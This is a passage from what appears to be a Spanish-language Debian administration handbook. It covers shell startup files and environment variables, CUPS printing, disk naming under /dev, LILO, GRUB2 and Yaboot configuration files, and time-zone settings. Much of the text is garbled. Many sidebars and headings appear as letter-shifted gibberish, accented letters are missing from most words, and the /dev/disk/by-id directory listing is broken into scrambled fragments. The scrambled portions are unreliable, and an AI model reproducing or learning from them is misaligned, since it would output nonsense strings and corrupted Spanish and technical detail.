&O 6OJY TF SFQSFTFOUB DBEB EJTQPTJUJWP EF IBSEXBSF QFSJGSJDP DPO VO BSDIJWP


FTQFDJBM HFOFSBMNFOUF BMNBDFOBEP FO FM SCPM EF BSDIJWPT CBKP /dev/ EJTQPTJ
UJWPT k%&7JDFT{
 &YJTUFO EPT UJQPT FTQFDJBMFT EF BSDIJWPT TFHO MB OBUVSBMF[B
EFM EJTQPTJUJWP BSDIJWPT kNPEP DBSDUFS{ Z kNPEP CMPRVF{ DBEB NPEP TMP
QFSNJUF VO DPOKVOUP MJNJUBEP EF PQFSBDJPOFT .JFOUSBT RVF FM NPEP DBSDUFS
MJNJUB MB JOUFSBDDJO B PQFSBDJPOFT EF MFDUVSB Z FTDSJUVSB FM NPEP CMPRVF UBN
CJO QFSNJUF CTRVFEBT FOUSF MPT EBUPT EJTQPOJCMFT 'JOBMNFOUF DBEB BSDIJWP
FTQFDJBM UJFOF BTPDJBEP EPT ONFSPT kNBZPS{ Z kNFOPS{
RVF JEFOUJGJDB QBSB
FM ODMFP BM EJTQPTJUJWP EF GPSNB OJDB 5BM BSDIJWP DSFBEP DPO FM QSPHSBNB
mknod TJNQMFNFOUF DPOUJFOF VO OPNCSF TJNCMJDP Z NT BNJHBCMF QBSB MBT
QFSTPOBT

-PT QFSNJTPT EF VO BSDIJWP FTQFDJBM FTUO BTPDJBEPT B MPT QFSNJTPT OFDFTBSJPT
QBSB BDDFEFS BM EJTQPTJUJWP FO T NJTNP 1PS MP UBOUP VO BSDIJWP DPNP /dev/
mixer RVF SFQSFTFOUB VO NF[DMBEPS EF BVEJP TMP UJFOF QFSNJTPT EF MFDUVSB
Z FTDSJUVSB QBSB FM VTVBSJP SPPU Z MPT NJFNCSPT EFM HSVQP audio 4MP TUPT
VTVBSJPT QVFEFO USBCBKBS DPO FM NF[DMBEPS EF BVEJP
&T JNQPSUBOUF TBCFS RVF MB DPNCJOBDJO EF VEFW DPOTPMFLJU Z QPMJDZLJU QVFEFO
BHSFHBS QFSNJTPT BEJDJPOBMFT RVF MF QFSNJUF B VTVBSJPT DPOFDUBEPT GTJDB
NFOUF B VOB DPOTPMB OP B USBWT EF MB SFE
BDDFEFS B DJFSUPT EJTQPTJUJWPT

 &OUPSOP EF DPOTPMB


Los intrpretes de rdenes (o consolas) son frecuentemente el primer punto de contacto de un
usuario con el equipo y, por lo tanto, deben ser suficientemente amigables. La mayora utiliza
scripts de inicializacin que permiten configurar su comportamiento (completado automtico,
texto del prompt, etc.).
bash,

la consola estndar, utiliza el script de inicializacin /etc/bash.bashrc para consolas


interactivas y /etc/profile para consolas de inicio de sesin.
70-7&3 " -04
$*.*&/504
$POTPMB EF JOJDJP EF TFTJO Z
DPOTPMB OP
JOUFSBDUJWB

&O USNJOPT TJNQMFT TF JOWPDB VOB DPOTPMB EF JOJDJP EF TFTJO BM JOJDJBS TFTJO
FO VOB DPOTPMB MPDBM P SFNPUBNFOUF VUJMJ[BOEP ssh P FYQMDJUBNFOUF DVBOEP
FKFDVUB bash --login *OEFQFOEJFOUFNFOUF EF TJ FT VOB DPOTPMB EF JOJDJP EF
TFTJO P OP TUB QVFEF TFS JOUFSBDUJWB FO VOB UFSNJOBM TJNJMBS B xterm QPS
FKFNQMP
P OP JOUFSBDUJWB DPNP BM FKFDVUBS VO TDSJQU


%&4$6#3*.*&/50
0USBT DPOTPMBT PUSPT TDSJQUT

$BEB JOUSQSFUF EF SEFOFT UJFOF VOB TJOUBYJT FTQFDGJDB Z TVT QSPQJPT BSDIJWPT
EF DPOGJHVSBDJO 1PS MP UBOUP zsh VUJMJ[B /etc/zshrc Z /etc/zshenv csh VUJ
MJ[B /etc/cshrc /etc/csh.login Z /etc/csh.logout -BT QHJOBT EF NBOVBM
QBSB TUPT QSPHSBNBT EPDVNFOUBO MPT BSDIJWPT RVF VUJMJ[BO

En bash es til activar el completado automtico en el archivo /etc/bash.bashrc (simplemente descomente unas pocas lneas).

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



70-7&3 " -04


$*.*&/504
$PNQMFUBEP BVUPNUJDP

.VDIPT JOUSQSFUFT EF SEFOFT QSPWFFO GVODJPOBMJEBE EF DPNQMFUBEP RVF MF


QFSNJUF B MB DPOTPMB DPNQMFUBS BVUPNUJDBNFOUF FM OPNCSF EF VOB PSEFO JO
HSFTBEB QBSDJBMNFOUF DVBOEP FM VTVBSJP QVMTB MB UFDMB 5BC &TUP MF QFSNJUF BM
VTVBSJP USBCBKBS NT FGJDJFOUFNFOUF Z FWJUBS FSSPSFT
&TUB GVODJPOBMJEBE FT NVZ QPUFOUF Z GMFYJCMF &T QPTJCMF DPOGJHVSBS TV DPN
QPSUBNJFOUP TFHO DBEB QSPHSBNB 1PS MP UBOUP FM QSJNFS QBSNFUSP RVF
TJHVF B apt-get TFS QSPQVFTUP TFHO MB TJOUBYJT EFM NJTNP BO TJ OP DPJODJEF
DPO OJOHO BSDIJWP FO FTUF DBTP MBT PQDJPOFT QPTJCMFT TPO install remove
upgrade FUD


70-7&3 " -04


$*.*&/504
-B WJSHVMJMMB VO BUBKP B
)0.&

-B WJSHVMJMMB TF VUJMJ[B HFOFSBMNFOUF QBSB JOEJDBS FM EJSFDUPSJP BM RVF BQVO


UB MB WBSJBCMF EF FOUPSOP HOME FTUF FT FM EJSFDUPSJP QFSTPOBM EFM VTVBSJP DP
NP /home/rhertzog/
 -PT JOUSQSFUFT EF SEFOFT SFBMJ[BO MB TVCTUJUVDJO BV
UPNUJDBNFOUF ~/hello.txt TF DPOWFSUJS FO /home/rhertzog/hello.txt
-B WJSHVMJMMB UBNCJO QFSNJUF BDDFEFS BM EJSFDUPSJP QFSTPOBM EF PUSP VTVBSJP
~rmas/hola.txt FT TJOOJNP EF /home/rmas/hola.txt

Adems de stos scripts comunes, cada usuario puede crear ~/.bashrc y ~/.bash_profile
para configurar su consola. Los cambios ms comunes son el agregado de alias, palabras que
son reemplazadas automticamente con la ejecucin de una orden haciendo ms fcil su ejecucin. Por ejemplo, podra crear el alias MB para la orden ls -la | less; entonces slo tendr
que ejecutar la para inspeccionar en detalle el contenido de un directorio.
70-7&3 " -04
$*.*&/504
7BSJBCMFT EF FOUPSOP

-BT WBSJBCMFT EF FOUPSOP QFSNJUFO BMNBDFOBS DPOGJHVSBDJPOFT HMPCBMFT QBSB MB


DPOTPMB V PUSPT QSPHSBNBT FKFDVUBEPT 4PO DPOUFYUVBMFT DBEB QSPDFTP UJFOF
TV QSPQJP DPOKVOUP EF WBSJBCMFT EF FOUPSOP
QFSP IFSFEBCMFT &TUB MUJNB DBS
BDUFSTUJDB PGSFDF MB QPTJCJMJEBE B VOB DPOTPMB EF JOJDJP EF TFTJO EF EFDMBSBS
WBSJBCMFT RVF TFSO QBTBEBT B UPEPT MPT QSPHSBNBT RVF FKFDVUF

Definir las variables de entorno predeterminadas es un elemento importante en la configuracin


de una consola. Dejando de lado las variables especficas a cada consola, es preferible definirlas en el archivo /etc/environment ya que es utilizado por los varios programas que podran
iniciar una sesin en consola. Las variables all definidas usualmente incluyen ORGANIZATION
que generalmente contiene el nombre de la empresa u organizacin y HTTP_PROXY que indica
la existencia y ubicacin de un proxy HTTP.
46(&3&/$*"
$POGJHVSBDJO JEOUJDB FO
UPEBT MBT DPOTPMBT



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

-PT VTVBSJPT HFOFSBMNFOUF EFTFBO DPOGJHVSBS TVT DPOTPMBT EF TFTJO F JOUFS


BDUJWBT EF MB NJTNB GPSNB 1BSB MPHSBSMP FMJHFO JOUFSQSFUBS VUJMJ[BOEP MB PS
EFO kTPVSDF{
FM DPOUFOJEP EFM BSDIJWP ~/.bashrc EFTEF FM BSDIJWP ~/.bash_
profile &T QPTJCMF IBDFS MP NJTNP DPO BSDIJWPT DPNVOFT B UPEPT MPT VTVBSJPT
FKFDVUBOEP /etc/bash.bashrc EFTEF /etc/profile


 $POGJHVSBDJO EF JNQSFTPSBT


La configuracin de impresin sola causar dolores de cabeza tanto a administradores como a
usuarios. Estos problemas son ahora algo del pasado gracias a cups, el servidor de impresin libre
que utiliza el protocolo IPP (protocolo de impresin de internet: Internet Printing Protocol).
Este programa est dividido en varios paquetes Debian: cups es el servidor de impresin central;
cups-bsd es una capa de compatibilidad que permite utilizar los programas del sistema de impresin BSD tradicional (el demonio lpd, los programas lpr y lpq, etc.); cups-client que contiene un
grupo de programas para interactuar con el servidor (bloquear o desbloquear una impresora,
ver o eliminar trabajos de impresin en curso, etc.); y por ltimo cups-driver-gutenprint contiene
una coleccin de controladores de impresin adicionales para cups.
$0.6/*%"%
$614

$614 TJTUFNB 6OJY DPNO EF JNQSFTJO k$PNNPO 6OJY 1SJOUJOH 4ZTUFN{

FT VOO QSPZFDUP Z VOB NBSDB SFHJTUSBEB


HFTUJPOBEP QPS "QQMF *OD
http://www.cups.org/

Luego de instalar estos paquetes, puede administrar cups fcilmente a travs de una interfaz
web en la direccin local: IQMPDBMIPTU. All podr agregar impresoras (incluyendo impresoras de red), eliminarlas y administrarlas. Tambin puede administrar cups con la interfaz
grfica system-config-printer (en el paquete Debian del mismo nombre), que se instala de
forma predeterminada si selecciona la tarea Entorno de escritorio.
/05"
0CTPMFTDFODJB EF /etc/
printcap

DVQT ZB OP VUJMJ[B FM BSDIJWP /etc/printcap RVF BIPSB FT PCTPMFUP -PT QSP


HSBNBT RVF OFDFTJUBO FTUF BSDIJWP QBSB PCUFOFS VOB MJTUB EF JNQSFTPSBT
EJTQPOJCMFT QPS MP UBOUP GBMMBSO 1BSB FWJUBS FTUF QSPCMFNB FMJNJOF FTUF BSDIJ
WP Z DSFF VO FOMBDF TJNCMJDP SFWJTF FM SFDVBESP k &OMBDFT TJNCMJDPT{ QHJOB

B /var/run/cups/printcap RVF DVQT NBOUJFOF QBSB BTFHVSBS MB DPNQBU
JCJMJEBE

 $POGJHVSBDJO EFM HFTUPS EF BSSBORVF


Probablemente ya est funcionando, pero siempre es bueno saber cmo configurar e instalar
el gestor de arranque en caso que desaparezca del registro maestro de arranque (Master Boot
Record). Esto puede ocurrir luego de la instalacin de otro sistema operativo como Windows.
La informacin a continuacin tambin puede ayudarle a modificar la configuracin del gestor
de arranque si lo necesita.
70-7&3 " -04
$*.*&/504
3FHJTUSP NBFTUSP EF
BSSBORVF k.BTUFS CPPU
SFDPSE{

&M SFHJTUSP NBFTUSP EF BSSBORVF .#3 k.BTUFS #PPU 3FDPSE{


PDVQB MPT
QSJNFSPT  CZUFT EFM QSJNFS EJTDP EVSP Z FT MP QSJNFSP RVF DBSHB FM #*04
QBSB PUPSHBS FM DPOUSPM B VO QSPHSBNB DBQB[ EF JOJDJBS FM TJTUFNB PQFSBUJWP
EFTFBEP &O HFOFSBM TF JOTUBMB FM HFTUPS EF BSSBORVF FO FM .#3 FMJNJOBOEP TV
DPOUFOJEP BOUFSJPS

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



 *EFOUJGJDBDJO EF EJTDPT


$6-563"
VEFW Z /dev/

&M EJSFDUPSJP /dev/ USBEJDJPOBMNFOUF BMNBDFOB MPT MMBNBEPT BSDIJWPT kFTQF


DJBMFT{ DPO FM PCKFUJWP EF SFQSFTFOUBS MPT QFSJGSJDPT EFM TJTUFNB SFWJTF FM SF
DVBESP k 1FSNJTPT EF BDDFTP B EJTQPTJUJWPT{ QHJOB 
 0SJHJOBMNFOUF TPMB
DPOUFOFS UPEPT MPT BSDIJWPT FTQFDJBMFT RVF QPESBO MMFHBS B VUJMJ[BSTF &TUF FO
GPRVF BDBSSFBCB BMHVOBT EFTWFOUBKBT FOUSF MBT RVF TF FODPOUSBCB FM IFDIP
RVF SFTUSJOHB MB DBOUJEBE EF EJTQPTJUJWPT RVF QPEBNPT VUJMJ[BS EFCJEP B MB
MJTUB FTUUJDB EF OPNCSFT
Z FSB JNQPTJCMF TBCFS DVMFT BSDIJWPT FTQFDJBMFT FSBO
SFBMNFOUF UJMFT
)PZ FO EB MB HFTUJO EF BSDIJWPT FTQFDJBMFT FT DPNQMFUBNFOUF EJONJDB Z
NT BDPSEF B MB OBUVSBMF[B EF MPT EJTQPTJUJWPT FMFDUSOJDPT RVF QVFEFO DPOFD
UBSTF Z EFTDPOFDUBSTF FO DBMJFOUF &M ODMFP DPPQFSB DPO VEFW QBSB DSFBSMPT Z
FMJNJOBSMPT TFHO TFB OFDFTBSJP DVBOEP BQBSFDFO Z EFTBQBSFDFO MPT EJTQPTJ
UJWPT DPSSFTQPOEJFOUFT 1PS FTUB SB[O /dev/ OP OFDFTJUB TFS QFSTJTUFOUF Z FT
VO TJTUFNB EF BSDIJWPT CBTBEP FO 3". RVF DPNJFO[B WBDP Z TMP DPOUJFOF
MPT FMFNFOUPT SFMFWBOUFT
&M ODMFP DPNVOJDB NVDIB JOGPSNBDJO TPCSF MPT EJTQPTJUJWPT BHSFHBEPT SF
DJFOUFNFOUF Z QSPWFF VO QBS EF ONFSPT NBZPSNFOPS QBSB JEFOUJGJDBSMP
$PO FTUB JOGPSNBDJO udevd QVFEF DSFBS VO BSDIJWP FTQFDJBM DPO FM OPNCSF
Z MPT QFSNJTPT RVF EFTFF 5BNCJO QVFEF DSFBS BMJBT Z MMFWBS B DBCP BDDJPOFT
BEJDJPOBMFT QPS FKFNQMP UBSFBT EF JOJDJBMJ[BDJO P SFHJTUSBDJO
 &M DPNQPS
UBNJFOUP EF udevd FT DPOUSPMBEP QPS VO HSBO DPOKVOUP EF SFHMBT QFSTPOBMJ[
BCMFT

6UJMJ[BOEP OPNCSFT BTJHOBEPT EJONJDBNFOUF QVFEF NBOUFOFS FM NJTNP
OPNCSF QBSB VO EJTQPTJUJWP EBEP TJO JNQPSUBS FM DPOFDUPS RVF VUJMJDF P FM PS
EFO FO RVF MP IBHB BMHP QBSUJDVMBSNFOUF UJM DVBOEP VUJMJ[B WBSJPT QFSJGSJDPT
64# 1VFEF MMBNBS MB QSJNFSB QBSUJDJO EFM QSJNFS EJTDP EVSB /dev/sda1 QPS
DVFTUJPOFT EF DPNQBUJCJMJEBE /dev/root-partition TJ MP QSFGJFSF P JODMVTJWF
BNCPT TJNVMUOFBNFOUF ZB RVF QVFEF DPOGJHVSBS udevd QBSB RVF DSFF VO FO
MBDF TJNCMJDP BVUPNUJDBNFOUF
"OUFSJPSNFOUF TF DBSHBCBO BVUPNUJDBNFOUF BMHOPT NEVMPT EFM ODMFP
DVBOEP JOUFOUBCB BDDFEFS BM BSDIJWP EF EJTQPTJUJWP DPSSFTQPOEJFOUF QPS MP
UBOUP FM BSDIJWP FTQFDJBM EFM NJTNP OP FYJTUB BOUFT EF DBSHBS FM NEVMP MP
DVBM OP FSB HSBO QSPCMFNB ZB RVF MB NBZPSB EF MPT NEVMPT TF DBSHBO EVSBOUF
FM BSSBORVF HSBDJBT B MB EFUFDDJO BVUPNUJDB EF IBSEXBSF 1FSP QBSB QFS
JGSJDPT OP EFUFDUBCMFT DPNP EJTDPT BOUJHVPT P QFSJGSJDPT 14
FTUP OP GVO
DJPOB $POTJEFSF BHSFHBS MPT NEVMPT floppy psmouse Z mousedev BM BSDIJWP
/etc/modules QBSB GPS[BS RVF TF DBSHVFO EJDIPT NEVMPT EVSBOUF FM BSSBORVF

La configuracin del gestor de arranque debe identificar los diferentes discos duros y sus particiones. Linux utiliza archivos especiales de bloque almacenados en el directorio /dev/.
Histricamente, /dev/hda era el disco maestro en el primer controlador IDE, /dev/hdb su
primer esclavo, /dev/hdc y /dev/hdd eran respectivamente los discos maestro y esclavo del segundo controlador IDE y as sucesivamente para cualquier otro. /dev/sda corresponde al primer
disco SCSI, /dev/sdb al segundo, etc. Desde Debian Squeeze) se unific este esquema de nombres
en el ncleo Linux y todos los discos duros (IDE/PATA, SATA, SCSI, USB, IEEE 1394) son representados con /dev/sd*.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Se representa cada particin por su nmero en el disco en el que existe: por ejemplo, /dev/sda1
es la primera particin del primer disco y /dev/sdb3 es la tercera particin del segundo disco.
La arquitectura de PC (i386) est limitada a cuatro particiones primarias por disco. Para
superar esta limitacin una de ellas debe ser creada como una particin extendida y sta
luego puede contener varias particiones secundarias adicionales. Estas particiones secundarias deben ser numeradas a partir del 5. Por lo tanto, la primera particin secundaria sera
/dev/sda5 seguida de /dev/sda6, etc.
No siempre es sencillo recordar qu disco est conectado a qu controlador SATA o est en la
tercera posicin de la cadena SCSI, especialmente desde que el nombre de los discos duros removibles (que incluye, entre otros, la mayora de los discos SATA y discos externos) puede cambiar de un inicio a otro. Afortunadamente udev crea, adems de /dev/sd*, enlaces simblicos
con nombres fijos que puede utilizar si lo desea para identificar un disco duro de forma unvoca.
Estos enlaces simblicos son almacenados en /dev/disk/by-id. En un equipo con dos discos
fsicos, por ejemplo, uno podra encontrar lo siguiente:
mirexpress:/dev/disk/by-id# ls -l
total 0
lrwxrwxrwx 1 root root 9 23 jul.
lrwxrwxrwx 1 root root 10 23 jul.
lrwxrwxrwx 1 root root 10 23 jul.
[...]
lrwxrwxrwx 1 root root 9 23 jul.
../../sdb
lrwxrwxrwx 1 root root 10 23 jul.
part1 -> ../../sdb1
lrwxrwxrwx 1 root root 10 23 jul.
part2 -> ../../sdb2
[...]
lrwxrwxrwx 1 root root 9 23 jul.
lrwxrwxrwx 1 root root 10 23 jul.
../../sda1
lrwxrwxrwx 1 root root 10 23 jul.
../../sda2
[...]
lrwxrwxrwx 1 root root 9 23 jul.
../../sdb
lrwxrwxrwx 1 root root 10 23 jul.
part1 -> ../../sdb1
lrwxrwxrwx 1 root root 10 23 jul.
part2 -> ../../sdb2
[...]
lrwxrwxrwx 1 root root 9 23 jul.
../../sdc
lrwxrwxrwx 1 root root 10 23 jul.
../../sdc1
lrwxrwxrwx 1 root root 10 23 jul.
../../sdc2

08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda


08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1
08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2
08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 ->
08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT0024169708:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-

08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda


08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 ->
08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 ->

08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 ->


08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT0024169708:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-

16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 ->


16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 ->
16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 ->

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



[...]
lrwxrwxrwx 1 root root 9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda
lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1
[...]
mirexpress:/dev/disk/by-id#

Es importante notar que algunos discos aparecen varias veces (porque se comportan como discos ATA as tambin como discos SCSI), pero la informacin relevante es principalmente en el
modelo y nmero serie del disco con los que puede encontrar el archivo del perifrico.
Los archivos de configuracin de ejemplo provistos en las prximas secciones estn basados en
la misma instalacin: un nico disco SATA donde la primera particin es una antigua instalacin
de Windows y la segunda contiene Debian GNU/Linux.

 $POGJHVSBDJO EF -*-0


LILO (cargador de Linux: LInux LOader) es el gestor de arranque ms antiguo slido pero
rstico. Escribe la direccin fsica del ncleo a inciar en el MBR, razn por la que debe seguir
cada actualizacin de LILO (o su archivo de configuracin) con una ejecucin de lilo. Olvidarlo
har que el sistema no pueda iniciar si se elimin o reemplaz el ncleo antiguo ya que el nuevo
no estar en la misma ubicacin en el disco.
El archivo de configuracin de LILO es /etc/lilo.conf; se muestra en el ejemplo a continuacin
un archivo simple con la configuracin estndar.
&KFNQMP  "SDIJWP EF DPOGJHVSBDJO EF -*-0
# El disco en el que instalar LILO
# Indicar un disco en lugar de una particin
# instalar LILO en el MBR.
boot=/dev/sda
# la particin que contiene Debian
root=/dev/sda2
# el elemento a cargar de forma predeterminada
default=Linux
# la imagen de ncleo ms reciente
image=/vmlinuz
label=Linux
initrd=/initrd.img
read-only
# Ncleo antiguo (si el recientemente instalado no inicia)
image=/vmlinuz.old
label=LinuxOLD
initrd=/initrd.img.old
read-only



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

optional
# slo para inicio dual Linux/Windows
other=/dev/sda1
label=Windows

 $POGJHVSBDJO EF (36# 


GRUB (gran gestor de arranque unificado: GRand Unified Bootloader) es ms reciente. No es
necesario ejecutarlo luego de cada actualizacin del ncleo, GRUB sabe cmo leer los sistemas
de archivos y encontrar la ubicacin del ncleo en el disco por su cuenta. Para instalarlo en el
MBR del primer disco simplemente ejecute grub-install /dev/sda.
/05"
/PNCSFT EF EJTDP QBSB
(36#

(36# TMP QVFEF JEFOUJGJDBS EJTDPT EVSPT CBTOEPTF FO MB JOGPSNBDJO QSP


WJTUB QPS FM #*04 (hd0) DPSSFTQPOEF BM QSJNFS EJTDP EFUFDUBEP (hd1) BM TF
HVOEP FUD &O MB NBZPSB EF MPT DBTPT FTUF PSEFO TF DPSSFTQPOEF FYBDUBNFOUF
DPO FM PSEFO VTVBM EF EJTDPT CBKP -JOVY QFSP QVFEF PDVSSJS QSPCMFNBT DVBOEP
BTPDJF EJTDPT *%& Z 4$4* (36# BMNBDFOB MBT DPSSFTQPOEFODJBT RVF EFUFDUF FO
FM BSDIJWP /boot/grub/device.map 4J FODVFOUSB FSSPSFT BMM QPSRVF TBCF RVF
TV #*04 EFUFDUB EJTQPTJUJWPT FO VO PSEFO EJGFSFOUF
DPSSKBMP NBOVBMNFOUF Z
FKFDVUF grub-install OVFWBNFOUF
-BT QBSUJDJPOFT UBNCJO UJFOFO OPNCSFT FTQFDGJDPT FO (36# $VBOEP VUJM
JDF QBSUJDJPOFT kDMTJDBT{ FO FM GPSNBUP .4%04 MB QSJNFSB QBSUJDJO FO FM
QSJNFS EJTDP DPSSFTQPOEFS DPO MB FUJRVFUB (hd0, msdos1) MB TFHVOEB DPO
(hd0,msdos2) FUD

La configuracin de GRUB2 est almacenada en /boot/grub/grub.cfg, pero este archivo (en


Debian) es generado a partir de otros. Tenga cuidado de no modificarlo a mano ya que perder
dichas configuraciones locales la prxima vez que se ejecute update-grub (que puede ocurrir al
actualizar algunos paquetes). Las modificaciones ms comunes del archivo /boot/grub/grub.
cfg (agregar parmetros al ncleo o cambiar el tiempo que se mostrar el men por ejemplo) se
realizan a travs de variables en /etc/default/grub. Para agregar elementos al men puede
crear un archivo /boot/grub/custom.cfg o modificar el archivo /etc/grub.d/50_custom.
Para configuraciones ms complejas puede modificar otros archivos en /etc/grub.d o crearlos; stos scripts deben devolver porciones de configuracin, posiblemente utilizando programas externos. Estos scripts son los que actualizarn la lista de ncleos a iniciar: 10_linux tiene
en cuenta los ncleos Linux instalados; 20_linux_xen tiene en cuenta sistemas virtuales Xen y
30_os-prober listar otros sistemas operativos (Windows, Mac OSX, Hurd).

 1BSB FRVJQPT .BDJOUPTI 1PXFS1$


 DPOGJHVSBDJO EF :BCPPU
Yaboot es el gestor de arranque utilizado por equipos Macintosh antiguos que utilizan procesadores PowerPC. No arrancan como PCs sino que necesitan una particin de arranque desde la

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



que el BIOS (u OpenFirmware) ejecuta el gestor y en la que el programa ybin instala yaboot y
su achivo de configuracin. Slo necesitar ejecutar este programa nuevamente si se modifica
/etc/yaboot.conf (se lo duplica en la particin de arranque y yaboot sabe cmo encontrar la
posicin de los ncleos en el disco).
Antes de ejecutar ybin primero debe tener un archivo /etc/yaboot.conf vlido. Lo que sigue
es un ejemplo de configuracin mnimo.
&KFNQMP 

"SDIJWP EF DPOGJHVSBDJO EF :BCPPU

# particin de arranque
boot=/dev/sda2
# el disco
device=hd:
# la particin Linux
partition=3
root=/dev/sda3
# arrancar luego de 3 segundos de inactividad
# (timeout es en dcimas de segundo)
timeout=30
install=/usr/lib/yaboot/yaboot
magicboot=/usr/lib/yaboot/ofboot
enablecdboot
# ltimo ncleo instalado
image=/vmlinux
label=linux
initrd=/initrd.img
read-only
# ncleo antiguo
image=/vmlinux.old
label=old
initrd=/initrd.img.old
read-only
# slo para arranque dual Linux/Mac OSX
macosx=/dev/sda5
# tambin son vlidos
# bsd=/dev/sdaX y macos=/dev/sdaX



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 0USBT DPOGJHVSBDJPOFT TJODSPOJ[BDJO EF UJFNQP SFHJTUSPT BDDFTP DPN


QBSUJEP
Es recomendable que cualquiera que quiera dominar todos los aspectos de configuracin de un
sistema GNU/Linux conozca los muchos elementos incluidos en esta seccin. Se los trata, sin
embargo, brevemente y generalmente lo dirigirn a la documentacin.

 ;POB IPSBSJB


70-7&3 " -04
$*.*&/504
&OMBDFT TJNCMJDPT

6O FOMBDF TJNCMJDP FT VO QVOUFSP B PUSP BSDIJWP $VBOEP BDDFEF BM NJTNP


BCSF FM BSDIJWP BM RVF BQVOUB &MJNJOBS FM FOMBDF OP DBVTBS MB FMJNJOBDJO EFM
BSDIJWP BM RVF BQVOUB "T NJTNP OP UJFOF TV QSPQJP DPOKVOUP EF QFSNJTPT TJOP
RVF SFUJFOF MPT QFSNJTPT EFM BSDIJWP BM RVF BQVOUB 'JOBMNFOUF QVFEF BQVOUBS
B DVBMRVJFS UJQP EF BSDIJWP EJSFDUPSJPT BSDIJWPT FTQFDJBMFT [DBMPT UVCFSBT
DPO OPNCSFT BSDIJWPT EF EJTQPTJUJWP FUD
JODMVTJWF PUSPT FOMBDFT TJNCMJDPT
-B PSEFO ln -s objetivo nombre_del_enlace DSFB VO FOMBDF TJNCMJDP MMB
NBEP OPNCSF@EFM@FOMBDF Z RVF BQVOUB B PCKFUJWP
4J FM PCKFUJWP OP FYJTUF FOUPODFT FM FOMBDF FTU kSPUP{ Z BDDFEFSMP SFTVMUBS
FO VO FSSPS JOEJDBOEP RVF FM BSDIJWP PCKFUJWP OP FYJTUF 4J FM FOMBDF BQVOUB B
PUSP FOMBDF UFOES VOB kDBEFOB{ EF FOMBDFT RVF TF DPOWFSUJS FO VO kDJDMP{ TJ
BMHVOP EF FMMPT BQVOUB B VOP EF TVT QSFEFDFTPSFT &O FTUF DBTP BDDFEFS B VOP
EF MPT FOMBDFT FO FM DJDMP SFTVMUBS FO VO FSSPS FTQFDGJDP EFNBTJBEPT OJWFMFT
EF FOMBDFT TJNCMJDPT kUPP NBOZ MFWFMT PG TZNCPMJD MJOLT{
 FTUP TJHOJGJDB RVF
FM ODMFP TF SJOEJ MVFHP EF WBSJBT WVFMUBT FO FM DJDMP

La zona horaria, configurada durante la instalacin inicial, es un elemento de configuracin


para el paquete tzdata. Para modificarla ejecute dpkg-reconfigure tzdata, lo que le permitir
seleccionar de forma interactiva la zona horaria a utiliza. Se almacena su configuracin en el
archivo /etc/timezone. Adems, se copiar el archivo correspondiente en el directorio /usr/
share/zoneinfo a /etc/localtime; este archivo contiene las reglas sobre las fechas a las que
corresponde el horario de verano en los pases que lo utilizan.
Cuando necesite cambiar la zona horaria temporalmente utilice la variable de entorno TZ que
tiene ms prioridad que la configurada en el sistema:
$ date
Wed Mar 28 15:51:19 CEST 2012
$ TZ="Pacific/Honolulu" date
Wed Mar 28 03:51:21 HST 2012

/05"
3FMPK EF TJTUFNB SFMPK EF
IBSEXBSF

&YJTUFO EPT GVFOUFT EF UJFNQP FO VO FRVJQP -B QMBDB NBESF UJFOF VO SFMPK EF


IBSEXBSF MMBNBEP kSFMPK $.04{ &TUF SFMPK OP FT NVZ QSFDJTP Z QSPWFF UJFN
QPT EF BDDFTP CBTUBOUF MFOUPT &M ODMFP EFM TJTUFNB PQFSBUJWP UJFOF FM TVZP
QSPQJP FM SFMPK EF TPXBSF RVF NBOUJFOF BDUVBMJ[BEP B TV NBOFSB QPTJCMF
NFOUF DPO BZVEB EF TFSWJEPSFT EF UJFNQP SFWJTF MB TFDDJO k4JODSPOJ[BDJO

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



EF UJFNQP{
 &M SFMPK EFM TJTUFNB HFOFSBMNFOUF FT NT QSFDJTP FTQFDJBMNFOUF
EFCJEP B RVF OP OFDFTJUB BDDFTP B WBSJBCMFT EF IBSEXBSF 4JO FNCBSHP DPNP
TMP FYJTUF FO NFNPSJB FT FMJNJOBEP DBEB WF[ RVF JOJDJB MB NRVJOB B EJGFSFO
DJB EFM SFMPK $.04 RVF UJFOF VOB CBUFSB Z QPS MP UBOUP kTPCSFWJWF{ SFJOJDJPT
EF MB NRVJOB P DVBOEP FTU BQBHBEB 1PS MP UBOUP FM SFMPK EF TJTUFNB FT DPO
GJHVSBEP EFTEF FM SFMPK $.04 EVSBOUF FM JOJDJP Z FM SFMPK $.04 FT BDUVBMJ[BEP
BM BQBHBS QBSB UFOFS FO DVFOUB QPTJCMFT DBNCJPT P DPSSFDDJPOFT TJ OP TF BKVTU
DPSSFDUBNFOUF

&O MB QSDUJDB IBZ VO QSPCMFNB ZB RVF FM SFMPK $.04 OP FT OBEB NT RVF VO
DPOUBEPS OP DPOUJFOF JOGPSNBDJO TPCSF MB [POB IPSBSJB )BZ VOB FMFDDJO B
